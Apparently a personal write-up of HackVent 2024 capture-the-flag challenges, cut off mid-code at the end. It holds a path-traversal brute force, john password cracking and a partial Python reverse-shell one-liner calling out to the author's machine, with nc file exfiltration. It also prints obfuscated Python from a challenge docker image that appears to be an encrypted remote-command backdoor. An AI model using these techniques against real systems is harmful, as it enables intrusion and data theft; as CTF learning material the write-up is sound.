HackVent 2024 WriteUp
HackVent 2024 WriteUp
by @daubsi, 27.12.2024
Table of Contents
[HV24.01] Twisted Colors ..................................................................................... 3
[HV24.02] Meet me at the bar ............................................................................... 5
[HV24.03] PowerHell: .......................................................................................... 7
[HV24.04] Missing QR .......................................................................................... 9
[HV24.H5] Last Password................................................................................... 12
[HV24.06] Chimney Windows ............................................................................. 17
[HV24.07] Happy Mazemas ................................................................................ 20
[HV24.08] Santa's Handwriting ........................................................................... 26
[HV24.09] Naughty and nice ............................................................................... 30
[HV24.10] Santa's Naughty Little Helper ............................................................. 40
[HV24.11] Christmas Dots ................................................................................. 53
[HV24.12] Santa's Proxy Puzzle .......................................................................... 57
[HV24.13] Server Hypervisor .............................................................................. 80
[HV24.14] Santa's Hardware Encryption ............................................................. 83
[HV24.15] Rudolph's Symphony ......................................................................... 86
[HV24.16] Santa's Signatures ............................................................................. 96
[HV24.17] Santa's Not So Secure Encryption Platform ....................................... 102
[HV24.18] Santa’s Sego.................................................................................... 106
[HV24.19] Santa's Workshop: A Technical Emergency ....................................... 108
[HV24.20] Santa's Modular Calculator .............................................................. 110
[HV24.21] Silent Post ....................................................................................... 112
[HV24.22] Santa's Secret Git Feature ................................................................ 115
[HV24.23] Santa's Packet Analyser ................................................................... 117
[HV24.24] Stranger Sounds .............................................................................. 118
[HV24.HE] Grinch’s secret ............................................................................... 119
[HV24.HM] Mrs Claus’s Secret ......................................................................... 120
[HV24.HH] Frosty's Secret ............................................................................... 121
[HV24.01] Twisted Colors
An elf accidentally mixed up the colors while painting the Christmas ornaments. Can you help
Santa fix it?
Solution:
Using various steganography tools didn´t provide anything helpful apart from that we see that
something is o in the bitplanes 0 and 1 when loading it in stegsolve.jar
Unfortunately, this was a deadend. Using exiftool we see that it’s a paletted image, so let’s use
gimp to look at the palette (Windows->Dockable dialogs->Colormap)
Introduction
December. Nightshift at Santa's gift factory. Gifts still to be wrapped are starting to pile up as
they cannot be processed any further. One elve still on duty sent Santa some pictures asking for
help as all the other elves are already celebrating at the bar. The elve has problems decrypting
the pictures as it is still learning the alphabet.
Hint #1: Not all bars but only the missing ones are needed to retrieve the flag. "HV24{" and "}"
are not part of the barcodes.
sha256sum of the
attachment: cdf6da7570730dfeed9eabb21bfc438cf594b54b24599a67c7b6f41718098fd8
We receive a zip archive with some EAN 8 bar code images which are broken
https://de.wikipedia.org/wiki/European_Article_Number
https://barcode-coder.com/en/ean-8-specification-101.html
we can derive the missing values/bars for each image. The left part is always 1337 for every
image.
Completing every code (a graphic program with a grid makes it easier to overlay and count the
bar widths) according to the CRC algorithm gives us the following numbers from the missing
bars:
1,2,5,2,0,9,2,0,1,9,1,4,1,5,2,3
Now it needs to be considered that for some images we have to bar codes and for some only
one.
For the images with two codes we need to combine the digits: 12, 5, 20, 9, 20, 19, 14, 15, 23
Flag: HV24{letitsnow}
[HV24.03] PowerHell:
Introduction
Oh no! The devil has found some secret information about santa! And even worse, he hides
them in a webserver written in powershell! Help Santa save christmas and hack yourself into the
server.
In case you encounter any issues during solving, please try to connect via the HL VPN
sha256sum of the
handout: 3f8fe367efd41d17047642496260cbc97313ccc19484be151d4b07556d9b342a
In this challenge we’re given a powershell webserver with some simple authentication workflow
param($request, $response)
$username = $request.QueryString["username"]
$password = $request.QueryString["password"]
if (Test-Path "passwords/$username.txt") {
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
$isAuthenticated = $true
if ($isAuthenticated) {
if ($username -ceq "admin") {
$response.Redirect("/admin?username=$username&password=$password")
} else {
$response.Redirect("/dashboard?username=$username&password=$password")
}
} else {
. ./helpers.ps1 $response "<h1>Invalid password :c</h1>" "text/html"
}
} else {
. ./helpers.ps1 $response "<h1>User not found :c</h1>" "text/html"
}
What catches our eye is that the for loop where the pw characters are checked startes with
isAuthenticated set to true and waits for 500ms once a wrong character was entered. Also if the
pw is correct it redirects to the /admin page.
If the pw is actually empty we’ll as well get redirected to the admin page, but there the pw is
checked again and you get rejected.
So what we can do is feed once char at a time into the checker, bruteforcing every char with
ascii printable and check if we eventually hit the redirect to the /admin page. We know then, that
SO FAR the pw is correct. We can easily set this up with BURP intruder and manually add every
correct char to the input once we retrieve a status code 302 in the response.
Using this approach we can quickly find the PW “Meow:3” for the admin user, but… how sad:
There must be something else. The PW check is legit so we have no option here… but some…
RCE or LFI maybe? Quickly searching for where Get-Content is used, we see that actually the
password file is read according to the username! What if we… specify flag.txt as the username
and brute our flag using the same approach?
flag.txt unfortunately gives us “no such user” but once we specify “../flag.txt” as the username
we can use the same approach as before and BF the flag one by one…
Flag: HV24{dQw4w9WgXcQ}
[HV24.04] Missing QR
Introduction
Oh my Santa, the same elf who once messed up the color table did it again. But this time he
seems to have been interrupted while painting the Christmas ball. Maybe you can help Santa
finish his job?
Solution:
Todays challenge picture looks almost like the one we had before on day1 and when we XOR
both images we get an interesting pattern:
Massaging the pixeldata a big with XOR and AND, we can eventually end up with the following
bitstream, which when put into cyberchef gives us an interesting message. (“Fill in:”)
If we lay a grid over our existing QR code we can see that 5x is one grid step and we have exactly
15 pixels in between the markers. Doing the math with out bit stream without the prefix “Fill in:”,
this pretty good fills the QR code.
So lets have Chat GPT write a small program which worked right away:
https://chatgpt.com/share/67503fa9-4330-8002-a092-9165b22ef199
from PIL import Image
# Example usage
if __name__ == "__main__":
# Input image path (with only markers)
input_image_path = "input_qr_code.png"
Recognizing the flag with zbarimg requires a 1px white border around everything, scanning with
the smart phone works like it is.
Introduction
Last Password, I gave you away and the very next day, all my accounts where astray. This year to
save me from tears, I'll give it to no one.
Please use the download mirrors first to not put too much stress on the HL infrastructure.
Download
mirror: https://1drv.ms/u/c/0ee8a2263bd035f8/EQlBzcb6TMVKq42ODwd482wBSFPlUQ9QRAU
WF97AmItunA?e=F7aMWc
sha256sum of last-
password.zip: 84d0d36db1c5f4dfc63286d9f28ee9d852fdbbe8d99890d993b413372bcb6150
So we have notepad, so ice, winrar, … (An open youtube link in a browser, that we won’t fail for
;-) )
Winrar references a file secret.7z. Now this looks interesting. Let’s try to get it
$ vol3 vol -f ../ch5/dump.raw windows.filescan.FileScan | grep secret
0xc08339350e20.0\Users\xtea418\Documents\Personal\secret.7z
0xc0833cb64b40 \Users\xtea418\Documents\Personal\secret.7z
0xc0833cb65e00 \Users\xtea418\Documents\Personal\secret.7z
$ 7z x file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb
7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit arm_v:8 locale=en_US.UTF-8 Threads:12 OPEN_MAX:65535, ASM
Enter password:ffff
ERROR: file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb
Cannot open encrypted archive. Wrong password?
In past challenges often notepad.exe holds some infos. Unfortunately vol3 does not have a
plugin for extracting notepad.exe contents, but Volatility plugin contest to the rescue!
https://medium.com/@rifqiaramadhan/volatility-3-plugin-kusertime-notepad-sticky-evtxlog-
f0e8739eee55
And run it
vol3 vol -f ../ch5/dump.raw windows.notepad.Notepad
\BaseNamedObjects\[CoreUI]-PID(4160)-TID(4132) 1e6e6bc4-dd60-46b4-9e84-70f923d5629a
7 \BaseNamedObjects\[CoreUI]-PID(7900)-TID(7816) fc205108-f731-44a3-a019-
8c2b4cb39c88 8 8 8 8 Consolas nsole ER\S 435439-1930665703-3246598564-1001
` ` @ Security-SPP-GenuineLocalStatus ` ` D never gonna give you my last
password: t1s1s4t0t4llys3cur3p4ssw0rdn0rocky0utxt Consolas ( V i
$ ~/john-tools/7z2john.pl ./
file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb >
7z.hash
$ ~/john-tools/john rar.hash --wordlist=/opt/rockyou/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 4 for all loaded hashes
Cost 3 (compression type) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2024-12-10 19:38) 0g/s 27.46p/s 27.46c/s 27.46C/s
samantha..family
0g 0:00:00:06 0.00% (ETA: 2024-12-11 15:15) 0g/s 29.62p/s 29.62c/s 29.62C/s
alyssa..jeremy
0g 0:00:00:27 0.01% (ETA: 2024-12-11 14:30) 0g/s 34.13p/s 34.13c/s 34.13C/s
xbox360..diamonds
0g 0:00:03:49 0.05% (ETA: 2024-12-10 15:48) 0g/s 40.08p/s 40.08c/s 40.08C/s
weedman..rubberducky
santa1 (ffffc0833cb65e00-secret.7z)
1g 0:00:07:30 DONE (2024-12-05 15:47) 0.002221g/s 40.06p/s 40.06c/s 40.06C/s
sooty1..pokemon123
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ 7z x file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-1.vacb
7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit arm_v:8 locale=en_US.UTF-8 Threads:12 OPEN_MAX:65535, ASM
WARNINGS:
There are data after the end of archive
--
Path = file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-1.vacb
Type = 7z
WARNINGS:
There are data after the end of archive
Physical Size = 65264
Tail Size = 196880
Headers Size = 240
Method = LZMA2:96k 7zAES
Solid = -
Blocks = 1
Everything is Ok
Warnings: 1
Folders: 1
Files: 1
Size: 67260
Compressed: 262144
$ ls secret
image.jpg
$ open secret/image.jpg
$ exiftool secret/image.jpg
ExifTool Version Number : 13.00
File Name : image.jpg
Directory : secret
File Size : 67 kB
File Modification Date/Time : 2024:11:24 15:42:51+01:00
File Access Date/Time : 2024:12:05 16:07:07+01:00
File Inode Change Date/Time : 2024:12:05 16:07:06+01:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
XMP Toolkit : Image::ExifTool 13.03
Description :
HV24{t0t4lly_s3cur3_p4ssw0rd_l1k3_4ctu4lly_s0_v3ry_much_s3cur3}
Image Width : 500
Image Height : 500
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 500x500
Megapixels : 0.250
Flag: HV24{t0t4lly_s3cur3_p4ssw0rd_l1k3_4ctu4lly_s0_v3ry_much_s3cur3}
[HV24.06] Chimney Windows
Introduction
Santa has seen it. He is done with Linux - it's just too hard. So he installed Windows. Sadly, he
also lost his flag while doing so. Help him find it.
Todays challenge looks like a normal Windows shell and there’s barely nothing on that box apart
from a rick-rolling notes.txt
Your VM is ready!
Press enter, if you don't see any prompt.
Microsoft Windows 10.0.19043
C:\users\santa>^Z
[1] + 2392384 suspended ncat 152.96.15.7 5000
✘ daubsi@bigigloo ~ stty raw -echo; fg
[1] + 2392384 continued ncat 152.96.15.7 5000
C:\users\santa>start
C:\users\santa>start /?
Start a program, or open a document in the program normally used for files
with that suffix.
Usage:
start [options] program_filename [...]
start [options] document_filename
Options:
"title" Specifies the title of the child windows.
/d directory Start the program in the specified directory.
/b Don't create a new console for the program.
/i Start the program with fresh environment variables.
/min Start the program minimized.
/max Start the program maximized.
/low Start the program in the idle priority class.
/normal Start the program in the normal priority class.
/high Start the program in the high priority class.
/realtime Start the program in the realtime priority class.
/abovenormal Start the program in the abovenormal priority class.
/belownormal Start the program in the belownormal priority class.
/node n Start the program on the specified NUMA node.
/affinity mask Start the program with the specified affinity mask.
/wait Wait for the started program to finish, then exit with its
exit code.
/unix Use a Unix filename and start the file like Windows
explorer.
/ProgIDOpen Open a document using the specified progID.
/? Display this help and exit.
IHDRusO#tEXtCommentHV24{w41t_1t5_4ll_l1nux???}_ua IDATx[v$I-
7<HfUW?νKҗF?-MC&(}+ds
b#<lpHR(R$w?ww;;Լ8H|HqqS3w7W0˼0>
cԋz,pҚ̡/gx<T=t?wKgL2u&uy
Ӵ
ww[ty
#^
쨻K֚
xb
ws4SUU3x[]|`ޝxweNR?Ȣzs>u~.>)g')yB#H4BH4B0+L}x='^r
zXI$ďPHr,w3s7sgs&J)Qo*7nI"M?jOI:^Hk"$
`V$9XY +,'\za%%+KzﭷZo5B 840yiҤ8gF?%!i
s"6"\DP83༦b:f㣼
zw녚w8_Fcl?38.!_(ip*ƀ?CA
bEŕ{4)&)wG:cCM]5$لg2WKVnAJFXkmzN/콾X,7 O䉵
uGBR4ȵVzϻKr#&Hm.ַ
M
It would be implausible to say I solved it that fast. Indeed I went down quite a rabbit hole:
C:\users\santa>start /unix /usr/bin/tar xzf /flag.tar.gz -C /home/santa
The main problem was, that the shell did not actually spit out anything to stdout with /unix
which I originally tried all the time. All the attempts with redirecting stdout to stderr via 1>&2
failed so the last resort was a reverse shell which luckily worked, because python was installed.
.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<vpn address>',4444));o
s.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin
/bash')"
This command is the usual to be found command in the internet, e.g. here
https://gist.github.com/lucasgates/0c6330c582d0ccf52fad129d5e7e9de7
with the di erence that we had to switch ‘ and “ in the command to make it work.
I started a nc on my Kali box and had a reverse shell which certainly made things much simpler.
There is no nc nor ncat installed on the box so I downloaded a static nc from
https://github.com/yunchih/static-binaries/blob/master/nc and hosted it on my Kali box with a
python3 web server (-m http.server) and then downloaded into the container with wget,
because wget was readily available.
Then it was a matter of exfil via nc to the Kali box and looking at the picture which rickrolled you
again, but the exifdata showed the flag:
Flag: HV24{w41t_1t5_4ll_l1nux???}
[HV24.07] Happy Mazemas
Introduction
A clumsy elf lost all the gifts in a magical maze right before Christmas Eve. Now, with time of the
essence, Santa must navigate this maze, collecting every gift in the most optimal way - the
shortest path possible - to save Christmas. Can you guide him to gather all the gifts and reach
the exit before it's too late?
Solution:
This is a classical maze solver problem over the network. We have to find the shortest path in a
maze for collecting all the gifts and then finding the exit. The problem is, that the server side
finds the perfect shortest route and you need to find that one too. Plus you have to do all this
within one minute.
I came up with this code. It is NOT optimal and WONT find the perfect route everytime, but after
5-10 iterations the flag drops eventually.
import heapq
import re
from collections import deque
from pwn import remote
# Helper function to check if a move is valid (not hitting a wall or out of bounds)
def is_valid_move(grid, position):
"""Check if the position is within the bounds of the grid and not a wall."""
y, x = position
if y < 0 or y >= len(grid) or x < 0 or x >= len(grid[0]):
return False
return grid[y][x] != '#'
while unvisited:
# Find the nearest target using BFS
nearest_target = None
shortest_path = None
for target in unvisited:
path_to_target = bfs_shortest_path(grid, current_position, target)
if nearest_target is None or len(path_to_target) < len(shortest_path):
nearest_target = target
shortest_path = path_to_target
return path
while True:
print(data)
# Extract the maze
grid = extract_maze(data)
if not grid:
print("Failed to extract maze!")
break
print("")
# After reaching the escape, wait for a new maze or exit message
if "him through once more." or "assist him again" in data:
print("Completed maze, receiving new maze.")
else:
print("Exiting game.")
break
# Example usage
if __name__ == "__main__":
# Connect to the remote server and solve the maze
remote_ip = "157.90.230.139" # Replace with the actual IP address
remote_port = 8000 # Replace with the actual port
solve_remote_maze(remote_ip, remote_port)
Transcript:
Congratulations! You've masterfully guided Santa through the maze, collecting every
gift with the perfect path!
Oh no, it seems the exit has led Santa into yet another maze! Please lend a helping
hand to guide him through once more.
#########################
#s # # #x # #
### # # # # #####x# # # #
# # # # # # # # # # #
# # # ##### # # # ### # #
# # # # # # x # # #
# ### # # ##### # # # # #
# # # # # # # # #
# ##### ### # ######### #
# # # # #
######### ######### # # #
# x# # # # #
### # # ### # # ####### #
# # # # # # #
# ### ### # # ###########
# # # # # #e # #
# ### ##### # ### # # # #
# # # # # # #
# # ####### # # ####### #
# # # # # # # #
# # # # ### ##### # #####
# # # # # # #
# # ############### ### #
# # #
#########################
Move (w/a/s/d):
Optimal route:
ddssssaassssddddddwwwwaawwwwddssddwwddssssddwwddssssaassddddddssddwwddwwwwwwwwaasss
sssaawwaawwwwaaaaddddssssddssddwwwwwwddssssssssssssaaaaaaaawwaassssssssddwwddwwddss
ddwwddssssaaaassssaaaaaaaaaaaaaaaawwwwwwaawwwwddwwddaassaassssddssssssddddddddddddd
dddwwwwddddwwwwaassaawwaaaa
Current:
ddssssaassssddddddwwwwaawwwwddssddwwddssssddwwddssssaassddddddssddwwddwwwwwwwwaasss
sssaawwaawwwwaaaaddddssssddssddwwwwwwddssssssssssssaaaaaaaawwaassssssssddwwddwwddss
ddwwddssssaaaassssaaaaaaaaaaaaaaaawwwwwwaawwwwddwwddaassaassssddssssssddddddddddddd
dddwwwwddddwwwwaassaawwaaaa
Completed maze, receiving new maze.
Congratulations! You've masterfully guided Santa through the maze, collecting every
gift with the perfect path!
Oh dear, the exit has whisked Santa away to another maze! Could you kindly assist
him again?
###################################################
#s# # # # # # #
# ### ### ##### ### ### ##### ##### # ##### ### # #
# # # # # # # # # # # # # #
### # ########### # # ### # ##### # # # # ### ### #
# # # # # # x # # # # # # # #
# # ### ######### # ######### # ####### ### ### # #
# # # x # # #x# # # # # # #
# ### ### ##### ##### # ### # ### # # # # ### ### #
# # # # # # # # # # # # # # # #
# ##### ##### ### ### # # ### ### # # # ####### # #
# # # #e# # # # # # # # #
# ####### ### # ### ##### # ########### # ### # ###
# # # # # # # # # # #
##### ### # ### # ### ######### ######### ####### #
# # # # # # # x# # #
# # ### ########### # # ######### ####### # #######
# # # # # # # # # # # # #
### ### # ##### # ####### # # # ####### ### # ### #
# # # # # # # # # # # # #
# ### ##### # ########### ### ##### # # # ####### #
# # # # # # # # # # # #
# ##### # # # ######### ### # ##### # # ####### # #
# # # # # # # # # # # #
############# ##### # # ######### # # ##### ##### #
# # # # # # # # # # # # #
# # # # # # ### # # ######### # ####### ### # #####
# # # # # # # # # # x # # #
# ##### ######### ### # ### ##### # # ######### # #
# # # # # # # # # # # # #
# ### ##### ### ### # ### # # # # ##### # ### ### #
# # # # # # # # # # # # # # # # #
# # ### ##### ##### # ### # # # # # # ### # #######
# # # # # # # # # # # # # # # # #
### # ##### # # # ### # ####### ### ### # # # ### #
# # # # # # # # # # # # # # #
# ##### # ##### ####### ### # # # ### ########### #
# # # # # # # # # # #
# # ####### # # # ### # # ##### ##### # # # ##### #
# # # # # # # #x# # # # # # # # # # #
# ### ### # # # # # ##### # # ### # # # ##### # ###
# # # # # # # # # # # # # # # # # #
### ### # ##### # # ### # # ### # # # # # # # ### #
# # # # # # # # # # # # # # # # #
# ### ### # ##### # ### # ### # # # # ##### #######
# # # # # # # # # # # # # #
# # ### ######### # # # #x##### ### ##### # ##### #
# # # # # x# # # # # # # # # #
# ### # # # # ####### # ##### ########### ### # # #
# # # # # # #
###################################################
Move (w/a/s/d):
Optimal route:
ssddssssddssddssaaaaaassddddssddssssaassaaaassddddddwwddssddwwwwaawwddddddssddwwddw
waawwddwwaawwaawwaaaaaaaawwaawwwwddddssddddddwwddddssssssddssssddwwwwddddssaassssaa
aassssddwwddddddddwwddddddddwwwwwwwwwwddssddssaassddddwwddwwaawwaawwaaaaaassssaawww
waaaaaassddddssaassddssssaaaawwwwwwaawwaassaaadddwwddssddssssssddddwwwwaawwddwwaaaa
wwddddddssssddwwwwddddddddddssddssssssssaassddssaaaaaassssaassddddddssddssaaaassdds
sddssaaaawwaaaassssssaawwaawwaassssaassddddssssssssddddssssaaaaaaaaaaaawwaaaawwwwww
wwwwddwwddssddwwwwwwwwaassssaawwwwwwaaaassddssssaassssssaawwaaaassssssssssaaaassddd
dddddwwwwddwwwwaaaawwssddddssssaassssaaaaaaaaaawwaassaawwwwddwwwwwwaaaassddssaassaa
ssddssaaaawwwwwwddwwaawwwwwwddwwwwddwwaaaawwwwddssddwwddssssddddssddssssaawwaaaaaas
sddssddddssssddwwwwddwwwwddssddddwwwwwwwwaawwwwaaaaaawwddddddddddssssddddddssddwwdd
wwaaaawwwwwwddssddddssssssddwwwwwwddssssddddssssaaaaddddwwwwaaaawwwwaassssssaawwwww
waaaawwaassssssddddssaassaawwaaaaaawwwwaaaaaaaaaassddddddssssddssssssssaaaawwaassss
aassssaawwwwaaaawwaawwddddddssddwwwwaawwaaaawwwwaassaawwaassssddddssaassssaassssssd
dssaassssssddddwwaawwddwwddwwaawwddddssssssaassssddwwddssddwwddddwwwwwwwwwwddddssdd
wwwwwwddwwwwaawwddddssssssddwwwwddssssssssaawwaassaassssssssssddddssddddddddddddwww
waaaawwwwwwwwaaaawwddwwwwddssddssddwwwwwwddddssddddwwaawwaawwddddwwaawwaaaaaawwddww
wwddddddwwaawwddwwwwwwwwaawwaaaassddssddssaassaaaawwddwwaawwaassssssssssaaaaaaaassa
aaaaaaassaawwwwddddwwwwddwwaaaassssaawwwwaawwwwwwaaaassaaaaaawwaaaassssddssddssdddd
ssssddww
Current:
ssddssssddssddssaaaaaassddddssddssssaassaaaassddddddwwddssddwwwwaawwddddddssddwwddw
waawwddwwaawwaawwaaaaaaaawwaawwwwddddssddddddwwddddssssssddssssddwwwwddddssaassssaa
aassssddwwddddddddwwddddddddwwwwwwwwwwddssddssaassddddwwddwwaawwaawwaaaaaassssaawww
waaaaaassddddssaassddssssaaaawwwwwwaawwaassaaadddwwddssddssssssddddwwwwaawwddwwaaaa
wwddddddssssddwwwwddddddddddssddssssssssaassddssaaaaaassssaassddddddssddssaaaassdds
sddssaaaawwaaaassssssaawwaawwaassssaassddddssssssssddddssssaaaaaaaaaaaawwaaaawwwwww
wwwwddwwddssddwwwwwwwwaassssaawwwwwwaaaassddssssaassssssaawwaaaassssssssssaaaassddd
dddddwwwwddwwwwaaaawwssddddssssaassssaaaaaaaaaawwaassaawwwwddwwwwwwaaaassddssaassaa
ssddssaaaawwwwwwddwwaawwwwwwddwwwwddwwaaaawwwwddssddwwddssssddddssddssssaawwaaaaaas
sddssddddssssddwwwwddwwwwddssddddwwwwwwwwaawwwwaaaaaawwddddddddddssssddddddssddwwdd
wwaaaawwwwwwddssddddssssssddwwwwwwddssssddddssssaaaaddddwwwwaaaawwwwaassssssaawwwww
waaaawwaassssssddddssaassaawwaaaaaawwwwaaaaaaaaaassddddddssssddssssssssaaaawwaassss
aassssaawwwwaaaawwaawwddddddssddwwwwaawwaaaawwwwaassaawwaassssddddssaassssaassssssd
dssaassssssddddwwaawwddwwddwwaawwddddssssssaassssddwwddssddwwddddwwwwwwwwwwddddssdd
wwwwwwddwwwwaawwddddssssssddwwwwddssssssssaawwaassaassssssssssddddssddddddddddddwww
waaaawwwwwwwwaaaawwddwwwwddssddssddwwwwwwddddssddddwwaawwaawwddddwwaawwaaaaaawwddww
wwddddddwwaawwddwwwwwwwwaawwaaaassddssddssaassaaaawwddwwaawwaassssssssssaaaaaaaassa
aaaaaaassaawwwwddddwwwwddwwaaaassssaawwwwaawwwwwwaaaassaaaaaawwaaaassssddssddssdddd
ssssddww
Congratulations! You've masterfully guided Santa through the maze, collecting every
gift with the perfect path!
Well done for guiding Santa through all the levels! Here's your gift:
HV24{santa-is-a-travelling-salesman}
Flag: HV24{santa-is-a-travelling-salesman}
[HV24.08] Santa's Handwriting
Introduction
Santa has bought a new drawing pad and has tried it out on his Linux machine immediately.
However, Grinch has monitored the raw data stream of what he has written. Santa found out
about this and recovered the data which Grinch has stolen, but it seems to be modified to
prevent a direct reconstruction. Can you help out Santa?
This challenge was written by kuyaya. Last minute challenge writing goes brrr.
Solution:
We see a LOT of repetitive “ySg” structures in the file and can “massage” it a bit:
Working from here – and a little nudge, we understand that this is a raw dump from /dev/input
with a given structure:
and can be parsed like so:
This code has just one problem... it treats the timestamp as a 2x 32 bit value, which it actually is
not, it is a 2x 64 bit value, which makes sense looking at our data in the “Notepad++ hexdump”.
(Chat GPT actually gives exactly the code example above when you ask for demo code how to
parse the stu )
We now can write code which dissects the various events and event-types.
The only thing we need to be aware of, that a lot of FAKE events are present in the stream, i.e.
where the timestamp does NOT lie in the reasonable time window of 06.12.2024.
https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h#L845
We can do some tweaking and eventually get a nice little parser and can animate the
handwriting using mathplotlib:
import struct
from datetime import datetime
import matplotlib.pyplot as plt
from matplotlib.animation import FuncAnimation
def update(frame):
# Add the new point to the x and y lists
x_vals.append(movements[frame][0])
y_vals.append(movements[frame][1])
case 0x02:
print(f"{x[0]}: EV_REL, {x[2]}, {x[3]}") # Does not exist
case 0x06:
print(f"{x[0]}: ???, {x[2]}, {x[3]}") # Does not exist
case _:
print("Unknown")
print(f"min_x: {minx}, max_x: {maxx}, min_y: {miny}, max_y: {maxy}")
print(f"Number of clear button presses: {clearpress}")
Flag: HV24{dr4w1ng}
Solution:
Looking at the PCAP we see quite some communication on port 80 and port 1337. Exporting the
files with Wireshark’s export objects functions gives us a docker image archive, that we can load
via “docker load < archive.zip”, which gives us a new “bread” image.
_0x_j34f = getattr
_0x_k92l = __import__
_0x_m78x = lambda _: ''.join(map(lambda __: chr(__), _))
def _0x(_0x15d47, _0x98d42): return _0x_j34f(_0x_k92l(_0x_m78x(_0x15d47)),
_0x_m78x(_0x98d42))
_0x1b7e = _0x([98, 97, 115, 101, 54, 52], [98, 54, 52, 101, 110, 99, 111, 100,
101])
_0x1234 = _0x_m78x([95, 95, 110, 97, 109, 101, 95, 95])
_0x9abc = lambda _: globals().get(_, None)
_0x7f8g9 = _0x_m78x([111, 112, 101, 110, 115, 115, 108, 32, 101, 110, 99, 32, 45,
100, 32, 45, 97, 101, 115, 45, 50, 53, 54, 45, 101, 99, 98, 32, 45, 98, 97, 115,
101, 54, 52, 32, 45, 107])
_0x46233 = _0x_m78x([114, 101, 97, 100])
_0x4501 = _0x_m78x([97, 99, 99, 101, 112, 116])
_0xa230f = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 117,
112, 112, 101, 114, 99, 97, 115, 101])
_0x5678 = _0x_m78x([95, 95, 109, 97, 105, 110, 95, 95])
_0x1b3d7 = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 108,
111, 119, 101, 114, 99, 97, 115, 101])
_0x1215b = _0x_m78x([95, 48, 120, 53, 51, 52, 107, 50, 103])
_0x5d9a2 = _0x([115, 116, 114, 105, 110, 103], [100, 105, 103, 105, 116, 115])
_0x3b23 = _0x_m78x([111, 112, 101, 110])
_0x1a2b3 = _0x_m78x([47, 116, 109, 112, 47, 46, 98, 114, 101, 97, 100])
_0x58d1 = _0x_m78x([115, 112, 108, 105, 116])
_0x12482 = _0x([115, 117, 98, 112, 114, 111, 99, 101, 115, 115], [99, 104, 101, 99,
107, 95, 111, 117, 116, 112, 117, 116])
_0x3a65 = _0x_m78x([112, 114, 105, 110, 116])
_0x4d5e6 = _0x_m78x([101, 99, 104, 111])
_0x7f83 = _0x([115, 111, 99, 107, 101, 116], [115, 111, 99, 107, 101, 116])
_0x3c4d5 = _0x_m78x([48, 46, 48, 46, 48, 46, 48])
_0x4a32 = _0x_m78x([115, 101, 110, 100])
_0x7c91 = _0x_m78x([119, 114, 105, 116, 101])
_0x1d78 = _0x_m78x([98, 105, 110, 100])
_0x4623 = _0x_m78x([95, 48, 120, 50, 51, 107, 106, 103, 52])
_0x6b01 = _0x_m78x([108, 105, 115, 116, 101, 110])
_0xj65b4 = {
_0x_m78x([115, 104, 101, 108, 108]): len(list(filter(lambda _: _ != '', "a"))),
_0x_m78x([116, 101, 120, 116]): len(list(filter(lambda _: _ != '', "a"))),
}
class Str(str):
def _0x2323(self): return self.encode()
class _0x3434(bytes):
def __init__(self, _): self._ = _.decode()
def __str__(self) -> str: return self._
def _0x2a3f(_0x3a1e): return str(_0x3434(_0x1b7e(_0x3a1e._0x2323())))
def _0x6432a(_,Σ): return (_&~Σ)|(~_&Σ)
def _0x1a1b(_0x3a1e, _0x2b2c):
_0x4f5d = list(*())
_0x6d8f = iter(range(len(_0x3a1e)))
for _0x5d7e in _0x6d8f:
(_0x5c5b, _0x6d6b) = (_0x3a1e[_0x5d7e], _0x3a1e[next(_0x6d8f, _0x5d7e)] if
_0x5d7e + len(list(filter(lambda _: _ != '', "a"))) < len(_0x3a1e) else
_0x3a1e[_0x5d7e])
_0x4f5d.extend([chr(_0x6432a(ord(_0x5c5b), ord(_0x2b2c[_0x5d7e %
len(list(filter(lambda _: _ != '', "ab")))])))]);
_0x4f5d.extend([chr(_0x6432a(ord(_0x6d6b), ord(_0x2b2c[(_0x5d7e +
len(list(filter(lambda _: _ != '', "a")))) % len(list(filter(lambda _: _ != '',
"ab")))])))]);
_0x2d8c = list(*())
[_0x2d8c.extend([_0x4f5d[_0x5d7e + len(list(filter(lambda _: _ != '', "a")))],
_0x4f5d[_0x5d7e]]) if _0x5d7e + len(list(filter(lambda x: x != '', "a"))) <
len(_0x4f5d) else _0x2d8c.append(_0x4f5d[_0x5d7e]) for _0x5d7e in
range(len(list(filter(lambda _: _ != '', ""))), len(_0x4f5d),
len(list(filter(lambda _: _ != '', "ab"))))]
return ''.join(map(str, _0x2d8c))
def _0x9b67(data):
_0x1f94 = ''.join(sum(map(lambda _: [_], [_0xa230f, _0x1b3d7, _0x5d9a2, '+/']),
[]))
_0x8c13 = { _0x1f94[_0x8f0d]: (_0x8f0d // int(_0x1f94[-4]), _0x8f0d %
int(_0x1f94[-4])) for _0x8f0d in range(len(_0x1f94)) }
return ''.join(f"{_0x8c13[_0x7adf][int(_0x1f94[-
12])]}{_0x8c13[_0x7adf][int(_0x1f94[-11])]}" for _0x7adf in data if _0x7adf != "=")
def _0x23kjg4(_0x246g5):
_0x987yh54 = _0x246g5.recv(1024).strip().decode()
try:
_, _0x45h4g, _0x23dd, __ =
